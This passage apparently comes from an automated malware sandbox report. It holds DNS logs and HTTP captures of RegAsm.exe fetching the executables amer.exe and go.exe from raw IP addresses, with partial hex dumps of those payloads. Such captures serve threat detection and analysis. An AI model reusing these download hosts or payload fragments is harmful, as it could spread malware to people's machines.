Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.251.41.14	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.251.40.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.162662983 CET	1.1.1.1	192.168.2.6	0x7ac7	No error (0)	youtube-ui.l.google.com		142.251.32.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		172.217.165.142	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.251.40.142	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.80.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.251.40.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.65.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.64.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.251.40.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.176.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.253907919 CET	1.1.1.1	192.168.2.6	0xf809	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.345387936 CET	1.1.1.1	192.168.2.6	0x34e5	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:38:31.345387936 CET	1.1.1.1	192.168.2.6	0x34e5	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:38:31.345387936 CET	1.1.1.1	192.168.2.6	0x34e5	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:38:31.345387936 CET	1.1.1.1	192.168.2.6	0x34e5	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Jan 18, 2024 00:38:33.070950031 CET	1.1.1.1	192.168.2.6	0xa1e4	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:38:33.070950031 CET	1.1.1.1	192.168.2.6	0xa1e4	No error (0)	clients.l.google.com		142.251.40.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:33.071506977 CET	1.1.1.1	192.168.2.6	0x90ad	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:38:46.024063110 CET	1.1.1.1	192.168.2.6	0x2eb0	No error (0)	play.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:46.113167048 CET	1.1.1.1	192.168.2.6	0x645c	No error (0)	play.google.com		142.250.80.14	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:46.203012943 CET	1.1.1.1	192.168.2.6	0x7f2c	No error (0)	play.google.com			28	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49701	185.215.113.68	80	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:34:19.725063086 CET	222	OUT	HEAD /mine/amer.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.215.113.68 Cache-Control: no-cache
Jan 18, 2024 00:34:19.964304924 CET	269	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:19 GMT Content-Type: application/octet-stream Content-Length: 1388032 Last-Modified: Thu, 18 Jan 2024 07:20:25 GMT Connection: keep-alive ETag: "65a8d139-152e00" Accept-Ranges: bytes
Jan 18, 2024 00:34:19.973813057 CET	221	OUT	GET /mine/amer.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.215.113.68 Cache-Control: no-cache
Jan 18, 2024 00:34:20.214221954 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:20 GMT Content-Type: application/octet-stream Content-Length: 1388032 Last-Modified: Thu, 18 Jan 2024 07:20:25 GMT Connection: keep-alive ETag: "65a8d139-152e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 77 44 fe d8 33 25 90 8b 33 25 90 8b 33 25 90 8b 68 4d 93 8a 3d 25 90 8b 68 4d 95 8a ad 25 90 8b 68 4d 94 8a 20 25 90 8b e6 48 94 8a 21 25 90 8b e6 48 93 8a 27 25 90 8b e6 48 95 8a 46 25 90 8b 68 4d 91 8a 22 25 90 8b 33 25 91 8b e3 25 90 8b a8 4b 99 8a 32 25 90 8b a8 4b 6f 8b 32 25 90 8b a8 4b 92 8a 32 25 90 8b 52 69 63 68 33 25 90 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 6c d6 96 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 0a 05 00 00 b0 01 00 00 00 00 00 0c fb 3f 00 00 10 00 00 00 20 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 40 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 00 31 00 3c 02 00 00 00 f0 06 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 05 00 00 10 00 00 00 3c 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 01 00 00 20 05 00 00 6a 00 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 40 06 00 00 0a 00 00 00 aa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 00 00 00 90 06 00 00 00 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 a0 06 00 00 3c 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 10 00 00 00 f0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 d0 29 00 00 00 07 00 00 fc 02 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 40 0f 00 00 d0 30 00 00 40 0f 00 00 ee 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$wD3%3%3%hM=%hM%hM %H!%H'%HF%hM"%3%%K2%Ko2%K2%Rich3%PELle? @@@ P1<011<@ j@@P@@@P<@.rsrc@)@.data@0@@
Jan 18, 2024 00:34:20.214354992 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 29 a3 ed 93 0c a7 bd c2 13 00 6c e7 8d df 52 2e b0 cb f1 41 57 85 b5 fe 65 dc a7 6c 70 ff 2e e9 15 27 4a 0b 98 0c 16 4a b0 b3 ce 7f a0 02 23 e5 db 9a 03 0d 4a e2 ab 08 14 cd 5c 55 07 9f 40 e8 5e 1b 47 8c 44 1c e3 0e 04 52 81 Data Ascii: )lR.AWelp.'JJ#J\U@^GDRjQV_-N7!LX<wwlE/iC8HITD8Fu6Y>F &\Mi'1'%&`Z+b+RZWN;.LU=PrO
Jan 18, 2024 00:34:20.214375973 CET	1286	IN	Data Raw: 21 ef ab 4b de c0 63 1e af 4b d0 b0 73 1f 9f 6e e9 64 36 ed 5b 98 7c 18 e1 67 6d 30 32 71 93 d9 57 c6 a1 de 3b c9 ff dd 29 4c 79 bf 7e 31 8f a0 5c 3e 08 9f 1d ef 6b 0f a7 f0 db 6a 6b cc 5c 39 7c c8 87 b5 64 c5 e1 76 19 6d c2 3e 21 d0 5b 84 0c a6 Data Ascii: !KcKsnd6[\|gm02qW;)Ly~1\>kjk\9\|dvm>![YvE0aTyKh6_Yd6 xTDSk)Z?PsFdk+kK.aBCq"2B{2N% MQB9!ixLF0Ua#IPQvZET
Jan 18, 2024 00:34:20.214391947 CET	1286	IN	Data Raw: 21 54 6b b6 34 c4 14 fa 8a d4 cc 9d 2f 21 9d 17 27 13 78 87 2f 54 cd 8b b5 29 a3 d3 ff d4 a3 3f 68 1c 86 6f 6a 07 f0 0b 4d 24 b6 d1 01 2a 73 b8 57 12 0b 3a 90 36 82 9f 99 be 86 1e 6a 36 cc ef ec 50 85 70 d5 ae e0 9a c4 53 33 0f 31 4a 7c b0 1e 22 Data Ascii: !Tk4/!'x/T)?hojM$*sW:6j6PpS31J\|"K<!&m4N6u"{z17z0;$Y5e 58mt06$rRH&a.MS@:$?_7g;c+ouw29@
Jan 18, 2024 00:34:20.214409113 CET	1286	IN	Data Raw: 07 0a ea c8 86 3a 84 cb 7e 46 15 37 20 65 2a 20 6a 7f 83 8a 76 8d 6f 7a a8 0c a2 4c 94 e9 1b ef 24 dd 88 c0 d6 95 19 5f f0 38 05 af f8 47 58 e0 e0 70 1e 96 4d f6 6c 64 ef 77 aa 71 65 f8 e3 81 8d 83 a4 7e 1d 9d f9 83 bc 6a 55 5b 93 67 bc fd e8 c8 Data Ascii: :~F7 e* jvozL$_8GXpMldwqe~jU[g]}_bHK`DHNh;{Ssda\|wfqx,}I'8Y#F+8J5a8sD5#V<'i}4+Cqe"&\F8cQW
Jan 18, 2024 00:34:20.214520931 CET	1286	IN	Data Raw: 0d a9 e0 d2 fb f4 49 00 21 c1 0e ed ee d9 fa 91 df f4 8c b6 cf 4d 8a 63 a3 19 43 09 0d ef f7 91 31 31 d8 a7 56 6d 81 7e 47 7e 7f 75 96 59 fe 39 41 dc 16 d3 da 73 ea 18 ed 9f 01 ee e2 7b e2 38 3a d4 ec ea 5b b1 58 db b2 b1 02 77 87 54 24 50 d6 a4 Data Ascii: I!McC11Vm~G~uY9As{8:[XwT$Pl/ntKJ~vYYjliB?AQ?D5N};Yze\|j%<@0_-Guct*OqYO(\&IQ<8T7i\|!(O2
Jan 18, 2024 00:34:20.214539051 CET	1286	IN	Data Raw: c7 24 12 07 34 3f eb 83 20 13 6e ae 8d 1c b0 3d 65 fa af be 33 3d bc 27 70 8c 06 72 23 d6 f2 b4 22 84 4c 4b f5 36 6d 1b cb 52 9b 7b dd d9 ec 52 a6 13 a4 29 77 8d 05 fd 14 42 c7 35 13 f7 40 46 f9 31 24 5c b3 5a de 59 9a 02 51 52 da ea 43 d6 bd eb Data Ascii: $4? n=e3='pr#"LK6mR{R)wB5@F1$\ZYQRC@O,b *x(2JZN(i1if\B[v+'bCsxB!;;2Lesu@Ag,0S~^x=JvUDrK-&<iot
Jan 18, 2024 00:34:20.214770079 CET	1286	IN	Data Raw: ba e3 da 1c 51 03 2e 1d 24 62 07 69 ef 45 b2 f9 f6 b3 df 6b 4b 4c aa 51 c4 09 35 d2 94 e8 a7 f6 69 22 d1 dd 6d 40 e5 ce 2e 66 b7 44 9f 9a ac d3 cc 3c db de 37 f1 06 64 22 38 16 62 a8 be a1 50 42 fd b6 f3 65 4b 8b 06 f3 3a 33 27 6c 48 49 3e 39 c6 Data Ascii: Q.$biEkKLQ5i"m@.fD<7d"8bPBeK:3'lHI>9h/omvMIMTAJ4Q.,.';!ZO6[^qDYHnt+f20Usn6oR/M#,v*/BJDf\|ZwYroMU~Syi])
Jan 18, 2024 00:34:20.214787960 CET	1286	IN	Data Raw: 45 17 ab ff 82 68 61 e8 7b 3f db 22 ec 69 74 8e 31 13 19 9e ee 77 ac c0 bd 61 61 9d 48 b8 68 ce 01 c5 68 6b 40 e8 da 03 06 24 0a 34 8f 52 d8 b9 c4 a8 8a 3c eb d2 c9 80 bd 07 83 8c ed c1 bd 06 63 2d 53 f9 a2 7d 1f be d3 2a a7 30 8f 6d 2c df 93 ae Data Ascii: Eha{?"it1waaHhhk@$4R<c-S}0m,:{0f]+j9aa039QJUh hw\|z?!,.O$(Z=T YpQQY8G!\(YkV'<5iPu4gIC
Jan 18, 2024 00:34:20.214802027 CET	1286	IN	Data Raw: 8c d7 a2 26 6b c9 89 20 d6 b0 36 d8 e9 eb 28 b4 6d a7 4f 25 44 23 c9 bf 40 b5 96 14 ae 31 4a ae 72 25 ff af b6 44 4b 3b b5 cc ed 88 4d 33 d2 43 5c 4b b6 ff c6 aa b1 13 08 34 e5 79 47 a2 f5 84 31 ff 68 8c e3 59 af ac 44 0d 8f 56 39 c2 25 53 c2 bd Data Ascii: &k 6(mO%D#@1Jr%DK;M3C\K4yG1hYDV9%S~j9$3qpiz(6m`b.C-Hr_\|Sbq+ndT' >SN{Au$\|/g=?A6oezq,NgJSd?@3aiGz('}
Jan 18, 2024 00:34:20.453197956 CET	1286	IN	Data Raw: 99 51 37 11 a7 c3 bd f2 08 7c 59 9f 1d 90 01 e9 56 3e 57 f3 10 65 d0 50 c4 12 20 29 99 b5 bb e8 2d 2f d8 da 8f 07 20 16 9d bc da 5b b3 8a d7 20 be 7b 32 48 28 82 01 17 eb b9 2a 1a 13 2f 51 98 28 78 52 a9 58 19 25 a0 b1 4f e7 78 2e a7 bc 1b ea 68 Data Ascii: Q7\|YV>WeP )-/ [ {2H(/Q(xRX%Ox.h\(z9^r\[Y3YXD\|h?+[);)C\<rkS k=AB uevraoi'dg'U'/"}>9_:c<'a>[fK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49707	109.107.182.3	80	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:34:29.253756046 CET	219	OUT	HEAD /cost/go.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache
Jan 18, 2024 00:34:29.453829050 CET	267	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:29 GMT Content-Type: application/octet-stream Content-Length: 916480 Last-Modified: Thu, 18 Jan 2024 07:20:25 GMT Connection: keep-alive ETag: "65a8d139-dfc00" Accept-Ranges: bytes
Jan 18, 2024 00:34:29.454586983 CET	218	OUT	GET /cost/go.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache
Jan 18, 2024 00:34:29.647727013 CET	1286	IN	Data Raw: 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 44 00 e8 72 f0 01 00 59 c3 e8 59 3c 00 00 68 fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY
Jan 18, 2024 00:34:29.647835970 CET	1286	IN	Data Raw: ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 8b 7f 38 eb d2 8b 40 38 eb ee 33 c0 c7 05 80 18 4d 00 64 00 00 00 33 c9 66 a3 Data Ascii: SVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO
Jan 18, 2024 00:34:29.647874117 CET	1286	IN	Data Raw: 8d 45 ec 43 89 7d ec 50 8d 8d 6c ff ff ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 8b 45 fc 48 4f 83 bd 6c ff ff ff 00 89 45 fc 0f 84 83 03 04 00 80 bd 75 ff ff Data Ascii: EC}Pl]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0
Jan 18, 2024 00:34:29.647979021 CET	1286	IN	Data Raw: 56 8b cf e8 71 07 00 00 59 50 56 8b cf e8 77 16 00 00 5f 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be 18 14 Data Ascii: VqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]Em
Jan 18, 2024 00:34:29.648051977 CET	1286	IN	Data Raw: c9 c2 04 00 83 c8 ff eb f4 41 eb da 55 8b ec 83 e4 f8 81 ec bc 03 00 00 53 56 57 68 b4 03 00 00 33 db c7 44 24 14 a8 03 00 00 8d 44 24 18 8b f1 53 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 01 00 Data Ascii: AUSVWh3D$D$SP9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM_^
Jan 18, 2024 00:34:29.648181915 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:34:29 GMT Content-Type: application/octet-stream Content-Length: 916480 Last-Modified: Thu, 18 Jan 2024 07:20:25 GMT Connection: keep-alive ETag: "65a8d139-dfc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 39 d1 a8 65 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 4c 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 b8 4e 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 40 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 90 00 00 00 40 0d 00 00 92 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 86 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL9e"Lw@`N@@@d\|@@u4@.text `.rdata@@.datalpH@.rsrc@@@@.relocuv@B
Jan 18, 2024 00:34:29.648222923 CET	1286	IN	Data Raw: 85 c9 0f 85 6b 10 04 00 8b 4f d4 85 c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 Data Ascii: kOu3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9
Jan 18, 2024 00:34:29.648261070 CET	1286	IN	Data Raw: 50 8d 45 f8 c7 45 f8 01 00 00 00 50 57 8b f1 e8 4e 00 00 00 85 c0 78 38 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d ff 00 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e Data Ascii: PEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSV
Jan 18, 2024 00:34:29.648298025 CET	1286	IN	Data Raw: d2 33 c0 40 89 51 10 89 41 1c 89 51 18 89 41 2c 8b c1 89 51 20 89 51 28 c3 55 8b ec 8b 45 08 85 c0 0f 8f 88 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 Data Ascii: 3@QAQA,Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNG
